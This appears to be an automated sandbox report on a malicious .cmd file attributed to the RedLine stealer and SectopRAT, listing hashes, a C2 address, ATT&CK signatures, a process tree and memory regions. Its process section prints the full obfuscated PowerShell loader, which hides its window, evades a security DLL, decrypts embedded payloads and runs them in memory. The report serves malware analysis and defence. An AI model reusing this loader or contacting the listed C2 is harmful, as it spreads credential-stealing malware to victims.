Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/10/2024, 01:34

General

  • Target

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd

  • Size

    75KB

  • MD5

    832dd29f7ffd54f656233e56c588b4fd

  • SHA1

    fd306aaaa8b2065f80773cf440e245f3120eef09

  • SHA256

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d

  • SHA512

    b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10

  • SSDEEP

    1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW

Malware Config

Extracted

Family

redline

Botnet

tony

C2

51.195.145.77:57942

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
      2⤵
        PID:1156
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3328

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ien0fqv.eo1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1788-22-0x0000000007F90000-0x000000000860A000-memory.dmp

      Filesize

      6.5MB

    • memory/1788-44-0x0000000007E40000-0x0000000007F4A000-memory.dmp

      Filesize

      1.0MB

    • memory/1788-3-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/1788-4-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/1788-1-0x0000000005140000-0x0000000005176000-memory.dmp

      Filesize

      216KB

    • memory/1788-10-0x0000000005F10000-0x0000000005F32000-memory.dmp

      Filesize

      136KB

    • memory/1788-16-0x0000000006210000-0x0000000006276000-memory.dmp

      Filesize

      408KB

    • memory/1788-15-0x0000000006130000-0x0000000006196000-memory.dmp

      Filesize

      408KB

    • memory/1788-17-0x0000000006280000-0x00000000065D4000-memory.dmp

      Filesize

      3.3MB

    • memory/1788-18-0x00000000061D0000-0x00000000061EE000-memory.dmp

      Filesize

      120KB

    • memory/1788-19-0x0000000006640000-0x000000000668C000-memory.dmp

      Filesize

      304KB

    • memory/1788-23-0x0000000007930000-0x000000000794A000-memory.dmp

      Filesize

      104KB

    • memory/1788-2-0x00000000057B0000-0x0000000005DD8000-memory.dmp

      Filesize

      6.2MB

    • memory/1788-21-0x0000000007890000-0x0000000007906000-memory.dmp

      Filesize

      472KB

    • memory/1788-20-0x0000000006B50000-0x0000000006B94000-memory.dmp

      Filesize

      272KB

    • memory/1788-46-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/1788-45-0x0000000074F4E000-0x0000000074F4F000-memory.dmp

      Filesize

      4KB

    • memory/1788-0-0x0000000074F4E000-0x0000000074F4F000-memory.dmp

      Filesize

      4KB

    • memory/1788-38-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/1788-39-0x0000000007A10000-0x0000000007A22000-memory.dmp

      Filesize

      72KB

    • memory/1788-40-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

      Filesize

      120KB

    • memory/1788-41-0x0000000008C30000-0x0000000009248000-memory.dmp

      Filesize

      6.1MB

    • memory/1788-42-0x0000000007BA0000-0x0000000007BB2000-memory.dmp

      Filesize

      72KB

    • memory/1788-43-0x0000000007C00000-0x0000000007C3C000-memory.dmp

      Filesize

      240KB

    • memory/3328-37-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/3328-25-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB

    • memory/3328-24-0x0000000074F40000-0x00000000756F0000-memory.dmp

      Filesize

      7.7MB